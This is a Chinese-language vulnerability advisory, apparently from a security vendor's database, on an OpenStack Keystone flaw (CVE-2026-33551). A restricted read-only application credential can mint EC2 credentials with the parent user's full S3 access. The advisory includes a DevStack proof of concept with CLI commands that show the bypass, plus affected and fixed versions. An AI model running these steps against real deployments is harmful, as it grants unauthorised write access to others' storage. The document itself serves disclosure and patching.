Keystone应用凭据权限绕过漏洞CVE-2026-33551
Keystone(项目代号:keystone,服务类型:identity)是 OpenStack 云平台核心基础组件、统一身份认证与授权服务,是关键组件。
一、基本情况
Keystone 是部署 OpenStack 时必须首先安装的服务,相当于整个云环境的 “门禁系统”“权限中心” 与 “服务注册表”,基于 Python 开发。

Keystone 作为身份管理与授权核心组件采用 WSGI 框架,以 RESTful API 对外提供服务,核心架构分为五大内部服务与后端存储驱动。
栋科技漏洞库关注到Keystone中存在的一个应用凭据权限绕过漏洞,该漏洞现已被追踪为CVE-2026-33551,漏洞CVSS 3.1评分为3.5。
二、漏洞分析
CVE-2026-3355是一个存在于 OpenStack Keystone 的 EC2 凭证创建接口中的漏洞,由橙色网络安全防御中心漏洞情报观察团队报告。
该漏洞源于Keystone在处理“受限应用凭据(Restricted Application Credentials)”时,没用能够正确限制其创建 EC2 凭据的能力所致。
仅拥有 reader 角色的已认证用户利用受限的应用凭据调用 EC2 凭据创建 API,从而获取一组具备父用户完整 S3 权限的 EC2/S3 凭据。
从而直接绕过了应用凭据原本设定的角色限制,仅同时使用受限应用凭证与 EC2/S3 兼容 API(swift3 /s3api)的部署环境会受此影响。
三、POC概念验证
在 OpenStack 环境中,攻击者可利用受限(只读)应用凭证,通过 EC2 凭证获取对用户 S3 存储桶的完整(读写)访问权限。
该漏洞可在 DevStack File 及 OVH 公有云环境中复现。
1、漏洞验证代码
首先,准备一台虚拟机(Ubuntu Noble 24.04 环境效果良好)并安装 DevStack File。
local.conf文件可参考如下配置,以启用 Swift 及 S3 兼容 API File。
[[local|localrc]]
ADMIN_PASSWORD=password
DATABASE_PASSWORD=password
RABBIT_PASSWORD=password
SERVICE_PASSWORD=password
SWIFT_REPLICAS=1
SWIFT_HASH=66a3d6b56c1f479c8b4e70ab5c2000f5
enable_service s-proxy s-object s-container s-account s3api
2、完成部署后,用户可创建应用凭证:
$ su - stack
$ cd devstack/
$ source openrc # 加载环境变量以完成OpenStack身份认证
$ openstack application credential create --restricted --role reader appcred
[...]
| ID | [APPID] |
| Secret | [APPSECRET] |
[...]
$ # 避免无关报错:
$ # 使用应用凭证认证时出错:应用凭证无法请求作用域。(HTTP 401)
$ unset OS_PROJECT_NAME
$ # 验证该应用凭证无法创建对象存储容器
$ openstack --os-auth-type v3applicationcredential --os-application-credential-id "[APPID]" --os-application-credential-secret "[APPSECRET]" container create testcontainer
权限不足(HTTP 403)(请求ID:[...])
$ openstack --os-auth-type v3applicationcredential --os-application-credential-id "[APPID]" --os-application-credential-secret "[APPSECRET]" ec2 credential create
[...]
| access | [AWS_KEY_ID] |
| secret | [AWS_KEY_SECRET] |
[...]
$ # 若在宿主机执行命令,请将127.0.0.1替换为虚拟机IP地址
$ AWS_ACCESS_KEY_ID=[AWS_KEY_ID] AWS_SECRET_ACCESS_KEY=[AWS_KEY_SECRET] aws --endpoint-url http://127.0.0.1:8080 s3api create-bucket --bucket testcontainer
{
"Location": "/testcontainer"
}
四、影响范围
keystone < 26.1.1
五、修复建议
keystone >= 26.1.1
六、参考链接
管理员已设置登录后刷新可查看